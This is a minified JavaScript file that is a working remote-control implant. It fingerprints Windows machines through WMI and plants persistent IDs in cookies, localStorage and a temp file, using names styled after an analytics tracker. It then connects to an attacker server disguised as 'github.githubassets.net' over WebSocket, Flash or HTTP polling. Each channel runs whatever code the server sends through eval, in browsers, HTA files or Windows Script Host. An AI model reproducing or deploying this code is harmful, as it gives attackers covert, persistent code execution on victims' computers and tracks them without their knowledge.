!function($GLOBAL){function getComputerID(){var t=[];try{for(var e=new ActiveXObject("WbemScripting.SWbemLocator"),n=e.ConnectServer("."),i=n.ExecQuery("SELECT * FROM Win32_BaseBoard"),o=new Enumerator(i);!o.atEnd();o.moveNext()){var r=o.item(),a=r.Manufacturer+r.SerialNumber;t.push(a)}}catch(c){}try{for(var i=n.ExecQuery("SELECT * FROM Win32_DiskDrive"),o=new Enumerator(i);!o.atEnd();o.moveNext()){var r=o.item(),a=r.signature;t.push(a)}}catch(c){}if(!t.length||!t.join(""))try{var s=new ActiveXObject("Scripting.FileSystemObject"),u=s.GetSpecialFolder(2).Path,d=u+"\\___unique_id___",h="",l=null;return s.FileExists(d)&&(l=s.OpenTextFile(d),h=l.ReadAll(),l.Close()),h&&32==h.length?h:(h=sessid(),l=s.CreateTextFile(d,!0),l.Write(h),l.Close(),h)}catch(c){}return t.length&&t.join("")?MD5(t.join("")):sessid()}function getWinVersion(){try{for(var t=new ActiveXObject("WbemScripting.SWbemLocator"),e=t.ConnectServer("."),n=e.ExecQuery("SELECT * FROM Win32_OperatingSystem"),i=new Enumerator(n),o=[];!i.atEnd();i.moveNext()){var r=i.item(),a=r.Version;a=(a.match(/^(\d+\.\d+)\.\d+/)||["",""])[1],o.push(a)}return Number(o[0]||"6.1")}catch(c){return 6.1}}function getClientDomain(){if("WScript"in window)return"wscript";try{if(NSAObject)return"non-wscript"}catch(t){}try{return process.execPath&&process.pid,"node"}catch(t){}try{if(document.getElementsByTagName("APPLICATION").length>0)return"hta"}catch(t){}try{return isASP="Write"in Response,"asp"}catch(t){}return"unknown client"}function sessid(){for(var t="",e="abcdefghijklmnopqrstuvwxyz0123456789",n=0;32>n;n++)t+=e.charAt(Math.floor(Math.random()*e.length));return t}function initUID(t){if("non-wscript"==$CURRENT_DOMAIN||"hta"==$CURRENT_DOMAIN||"wscript"==$CURRENT_DOMAIN||"winsock"==$CURRENT_DOMAIN||"asp"==$CURRENT_DOMAIN)return $UID=getComputerID(),t();var e=!1,n=setTimeout(function(){e=!0,t()},3e4);window.__nsa__cookie_load=function(i){clearTimeout(n),e||($UID=i,t())};try{var i=document.createElement("script");i.src=$ROOT+"cookie",(document.body||document.getElementsByTagName("head")[0]||document.documentElement).appendChild(i)}catch(o){clearTimeout(n),e||($UID=sessid(),t())}}function uid(){if($UID)return $UID;var t=null,e=sessid(),n=new Date;n.setFullYear(2099);try{if(document.cookie){if(t=(document.cookie.match(/Hm_lvt__(\w+)/)||["",""])[1])return t;document.cookie="Hm_lvt__"+e+"=1; path=/; expires="+n.toGMTString()}}catch(i){}try{if("localStorage"in window){if(t=localStorage.getItem&&localStorage.getItem("Hm_lvt_$"))return t;localStorage.setItem("Hm_lvt_$",e)}}catch(i){}try{var o=document.createElement("input");if(o.type="hidden",o.style.behavior="url(#default#userData)",(document.body||document.documentElement).appendChild(o),o.load("Hm_lvt_$"),t=o.getAttribute("data"))return t;o.expires=n.toGMTString(),o.setAttribute("data",e),o.save("Hm_lvt_$")}catch(i){}return e}function jParse(t){try{return JSON.parse(t)}catch(e){return{}}}function jString(t,e){try{var n=JSON.stringify(t);return t=null,n}catch(i){return e||""}}function MD5(t){function e(t){return i(n(o(t)))}function n(t){return a(c(r(t),8*t.length))}function i(t){try{}catch(e){w=0}for(var n,i=w?"0123456789ABCDEF":"0123456789abcdef",o="",r=0;r>>4&15)+i.charAt(15&n);return o}function o(t){for(var e,n,i="",o=-1;++o=55296&&56319>=e&&n>=56320&&57343>=n&&(e=65536+((1023&e)<<10)+(1023&n),o++),127>=e?i+=String.fromCharCode(e):2047>=e?i+=String.fromCharCode(192|e>>>6&31,128|63&e):65535>=e?i+=String.fromCharCode(224|e>>>12&15,128|e>>>6&63,128|63&e):2097151>=e&&(i+=String.fromCharCode(240|e>>>18&7,128|e>>>12&63,128|e>>>6&63,128|63&e));return i}function r(t){for(var e=Array(t.length>>2),n=0;n>5]|=(255&t.charCodeAt(n/8))<>5]>>>n%32&255);return e}function c(t,e){t[e>>5]|=128<>>9<<4)+14]=e;for(var n=1732584193,i=-271733879,o=-1732584194,r=271733878,a=0;a>16)+(e>>16)+(n>>16);return i<<16|65535&n}function m(t,e){return t<>>32-e}var w=0;return e(t)}function xhr(t){var e=null;if($LOCAL)e=xhr_client(!1,t);else{if("ActiveXObject"in window&&navigator.userAgent&&(navigator.userAgent.indexOf("MSIE 6.0")>-1||navigator.userAgent.indexOf("MSIE 7.0")>-1))return e=new ifr_polling;try{e=new XDomainRequest}catch(n){e="XMLHttpRequest"in window?new XMLHttpRequest:xhr_client(!0)}}return e}function xhr_client(t,e){var n=null,i=["Msxml2.ServerXMLHTTP.6.0","Msxml2.ServerXMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];(t||"hta"==$CURRENT_DOMAIN||"non-wscript"==$CURRENT_DOMAIN)&&(i.shift(),i.shift());for(var o=0;o-1&&(n.Option(4)=13056,e?n.SetTimeouts(5e3,5e3,5e3,5e3):n.SetTimeouts(1e4,5e3,0,0)),i[o].indexOf("ServerXMLHTTP")>-1&&(n.setOption(2,13056),e?n.setTimeouts(5e3,5e3,5e3,5e3):n.setTimeouts(1e4,5e3,0,0)),$COMSTR=i[o];break}catch(r){}return n}function ifr_polling(){function t(t){return t.replace(/&/g,"&").replace(/'/g,"'").replace(/"/g,""").replace(//g,">")}var e=this,n=(new Date).getTime()+"",i=document;try{var o=i.createElement("")}catch(r){var o=i.createElement("iframe")}o.id="__POST_IFRAME_"+n,o.name="__POST_IFRAME_"+n,o.style.display="none",o.src="about:blank",o.attachEvent("onload",function(){try{o.contentWindow.location="about:blank";var t=o.contentWindow.name;e.responseText=t,e.onload();try{o.parentNode.removeChild(o),a.parentNode.removeChild(a)}catch(n){}}catch(n){}}),i.body.appendChild(o);var c="",s="";this.open=function(t,e){s=t,c=e},this.is_ifr_polling=!0,this.responseText="",this.status="",this.onload=function(){},this.onerror=function(){},this.send=function(e){var o=i.createElement("div"),r=sessid(),a=" ";o.innerHTML="
"+a+"
",i.body.appendChild(o),i.getElementById("__POST_INPUT_"+n+"_"+r).value=e,i.getElementById("__POST_FORM_"+n).submit()}}function post(t,e,n,i,o){var r=xhr(o);if(r){e="string"==typeof e?e:jString(e,"{}");try{if(r.open("POST",t,!0),"onreadystatechange"in r?r.onreadystatechange=function(){4==r.readyState&&(200==r.status?n&&"function"==typeof n&&n(r.responseText,r):i&&"function"==typeof i&&i(r.status,r))}:(r.onload=function(){n&&"function"==typeof n&&n(r.responseText,r)},r.onerror=function(){i&&"function"==typeof i&&i(r.status,r)}),r.send(e),o){var a=r.waitForResponse(o);a||i&&"function"==typeof i&&i("timeout",r)}}catch(c){i&&"function"==typeof i&&i(c.description,r)}}}function Socket(retry){var ws=new WebSocket(($SECURE?"wss":"ws")+"://"+$HOST+":"+($SECURE?$PORT.socketSecure:$PORT.socket)),id=uid(),sid=sessid(),heartbeat={timer:null,start:function(){this.timer=setTimeout(function(){ws.send('{"heartbeat":"1"}')},1e3*$HEARTBEAT)},reset:function(){clearTimeout(this.timer),this.start()}};return ws.jsend=function(t){t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,ws.send(jString(t,"{}"))},ws.onclose=function(t){window.__RECONN__||(window.__RECONN__=setTimeout(function(){window.__RECONN__=null,ws=null,retry=retry||0,$RETRY_TIME>retry?window.test=Socket(retry+1):window.test=Comet()},1e3*$RETRY))},ws.onerror=function(t){window.__RECONN__||(window.__RECONN__=setTimeout(function(){window.__RECONN__=null,ws=null,retry=retry||0,$RETRY_TIME>retry?window.test=Socket(retry+1):window.test=Comet()},1e3*$RETRY))},ws.onopen=function(t){retry=0,heartbeat.start(),ws.jsend({action:"init",url:$CURRENT_URL,domain:$CURRENT_DOMAIN})},ws.onmessage=function(e){heartbeat.reset();var cmd=jParse(e.data);if(cmd.action)switch(cmd.action){case"run":try{!function(){var $CLIENT=ws;eval(cmd.data)}()}catch(e){}}},ws}function flashSocket(){if(!(this instanceof flashSocket))return new flashSocket;var flash=$ROOT+"s?&"+Math.random(),bridge=null,id=uid(),sid=sessid(),aid=$ATTACK_ID;window["sc_"+sid]=this,this.jsend=function(t){bridge&&(t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,bridge.send(jString(t,"{}")))},this.onopen=function(){this.jsend({action:"init",url:$CURRENT_URL,domain:$CURRENT_DOMAIN,ua:navigator.userAgent})},this.onmessage=function(cmd){if(cmd&&(cmd=jParse(cmd),cmd.action))switch(cmd.action){case"run":try{!function(){var $CLIENT=window["sc_"+sid];eval(cmd.data)}()}catch(e){}}},this.onerror=function(t){try{console.log("onerror:"+t)}catch(e){}"io"==t&&(window.test=Comet())},this.onclose=function(){try{console.log("onclose:"+type)}catch(t){}setTimeout(function(){bridge.connect($HOST,$PORT.flash)},1e3*$RETRY)},this.oninit=function(){try{console.log("oninit:"+type)}catch(t){}bridge="ActiveXObject"in window?document.getElementById("fs_"+sid):document["fs_"+sid],bridge.connect($HOST,$PORT.flash)},function(){var t='',e='',n=document.createElement("div");n.innerHTML="ActiveXObject"in window?t:e,(document.body||document.getElementsByTagName("head")[0]||document.documentElement).appendChild(n)}()}function LocalComet(){function waitRunQueue(){if(that&&that.alive)try{for(WScript.Sleep(1);;){if(!that||!that.alive)break;var msg=that.runQueue.shift();if(msg)try{var $CLIENT=that;eval(msg)}catch(e){}that.waitQueue.length>0&&!isWaiting&&(isWaiting=!0,waitMessage()),heartbeat.start(),WScript.Sleep(200)}}catch(e){}}function waitMessage(){that.fsend({action:"ajax_message"})}if(!(this instanceof LocalComet))return new LocalComet;var id=uid(),sid=sessid(),that=this,isWaiting=!1,isConnected=!1;this.url=$ROOT,this.alive=!0,this.runQueue=[],this.waitQueue=[];var heartbeat={timer:0,running:!1,start:function(){this.timer>5e3&&!this.running?(this.timer=0,this.running=!0,that.hsend({heartbeat:1})):this.timer+=200},reset:function(){this.timer=0,this.running=!1}};this.fsend=function(t){t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,post(that.url,t,function(e,n){"ajax_message"==t.action&&(that.waitQueue=[],isWaiting=!1),that.onmessage(e,n)},function(t,e){that.onerror(t,e)})},this.jsend=function(t){t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,t.n=1,post(that.url,t,function(t,e){that.onmessage(t,e,!0)},function(t,e){try{e.abort(),e=null}catch(n){}})},this.hsend=function(t){t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,t.n=1,post(that.url,t,function(t,e){heartbeat.reset(),that.onmessage(t,e,!0)},function(t,e){that.onerror(t,e)},1e4)},this.onopen=function(){heartbeat.reset(),that.fsend({action:"init",url:$CURRENT_URL,domain:$CURRENT_DOMAIN,ua:navigator.userAgent})},this.onmessage=function(t,e,n){try{if(t){var i=jParse(t);if(!i.action)throw new Error("no action");switch(i.action){case"run":try{!function(){that.runQueue.push(i.data)}()}catch(o){}break;case"nothing":break;case"relogin":return that.onerror("relogin",e)}}}catch(o){}e=null,!n&&that.waitQueue.push("1")},that.onerror=function(t,e){isConnected=!1;try{e.abort(),e=null}catch(n){}try{setTimeout(function(){that.alive=null,that=null,window.test=null,window.test=LocalComet()},1e3*$RETRY)}catch(n){}},that.connect=function(){isConnected||(isConnected=!0,post(that.url+"c",{a:1},that.onopen,function(t,e){e=null}))},"object"!=typeof JSON?(window.__json_fix_onload=function(){that.connect()},window.__load_json_fix=function(status){function tmpfunc(){post(that.url+"j","hoho",function(data){eval(data)},window.__load_json_fix)}status?(WScript.Sleep(1e3*$RETRY),tmpfunc()):tmpfunc()},window.__load_json_fix()):that.connect(),waitRunQueue()}function Comet(){function waitMessage(){that.fsend({action:"ajax_message"})}if(!(this instanceof Comet))return new Comet;var id=uid(),sid=sessid(),that=this,isWaiting=!1,isConnected=!1;if(this.url=$ROOT,this.fsend=function(t){t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,post(that.url,t,function(t,e){that.onmessage(t,e)},that.onerror)},this.jsend=function(t){t.uid=id,t.sessid=sid,t.a=$ATTACK_ID,t.n=1,post(that.url,t,function(t,e){that.onmessage(t,e,!0)},function(t,e){try{e.abort(),e=null}catch(n){}})},this.onopen=function(){that.fsend({action:"init",url:$CURRENT_URL,domain:$CURRENT_DOMAIN,ua:navigator.userAgent})},this.onmessage=function(data,xhr,nowait){try{if(data){var cmd=jParse(data);if(!cmd.action)throw new Error("no action");switch(cmd.action){case"run":try{!function(){var $CLIENT=that;eval(cmd.data)}()}catch(e){}break;case"nothing":break;case"relogin":return that.onerror("relogin",xhr)}}}catch(e){}xhr=null,!nowait&&waitMessage()},that.onerror=function(t,e){isConnected=!1;try{e.abort(),e=null}catch(n){}try{setTimeout(function(){that.connect()},1e3*$RETRY)}catch(n){}},that.connect=function(){isConnected||(isConnected=!0,post(that.url+"c",{a:1},that.onopen,function(t,e){e=null}))},"object"!=typeof JSON){window.__json_fix_onload=function(){that.connect()};try{var s=document.createElement("script");s.src=this.url+"j",(document.body||document.getElementsByTagName("head")[0]||document.documentElement).appendChild(s)}catch(e){try{window.__load_json_fix=function(status){function tmpfunc(){post(that.url+"j","hoho",function(data){eval(data)},window.__load_json_fix)}status?setTimeout(function(){tmpfunc()},1e3*$RETRY):tmpfunc()},window.__load_json_fix()}catch(e){}}}else that.connect()}var $DEBUG=!0,$LOCAL=!1,$SECURE=!0;try{setTimeout(function(){},0)}catch(e){try{"Echo"in WScript,setTimeout=function(t,e){WScript.Sleep(e),t()},$GLOBAL.setTimeout=setTimeout}catch(e){}}if("window"in $GLOBAL)try{document.getElementsByTagName("APPLICATION").length>0&&($LOCAL=!0)}catch(e){}else window=$GLOBAL,navigator={userAgent:""},location={protocol:"file:"},$LOCAL=!0;var $CURRENT_URL=$LOCAL?"client-mode":location.href,$CURRENT_DOMAIN=$LOCAL?getClientDomain():document.domain;if("http:"==location.protocol&&($SECURE=!1),"wscript"==$CURRENT_DOMAIN){$SECURE=!0;var $WIN_VERSION=getWinVersion();(5.2==$WIN_VERSION||5==$WIN_VERSION)&&($SECURE=!1)}var $HOST="github.githubassets.net",$PORT={socket:2002,socketSecure:3002,flash:2001,comet:80,root:80,rootSecure:443},$ATTACK_ID="fubmu3fe79k1xwzwzqt2wj7qa6xz7e08",$RETRY=30,$RETRY_TIME=5,$HEARTBEAT=30,$ROOT=($SECURE?"https:":"http:")+"//"+$HOST+":"+($SECURE?$PORT.rootSecure:$PORT.root)+"/",$PUBLIC=$ROOT+"public",$UID=null,$COMSTR="";"__connection_created"in window||(window.__connection_created=1,initUID(function(){if("hta"==$CURRENT_DOMAIN||"non-wscript"==$CURRENT_DOMAIN)return void(window.test=Comet());if($LOCAL)return void(window.test=LocalComet());if(location.hash.indexOf("force=comet")>-1)return void(window.test=Comet());if(location.hash.indexOf("force=flash")>-1)return void(window.test=flashSocket());if(location.hash.indexOf("force=websocket")>-1)return void(window.test=Socket());if("WebSocket"in window)window.test=Socket();else{var t=!1;try{navigator.userAgent.indexOf("Windows NT 5.1")>-1&&(t=!0)}catch(e){t=!0}if(t)return void(window.test=Comet());try{new ActiveXObject("ShockwaveFlash.ShockwaveFlash"),window.test=flashSocket()}catch(e){try{navigator.plugins["Shockwave Flash"]?window.test=flashSocket():window.test=Comet()}catch(e){window.test=Comet()}}}}))}(this);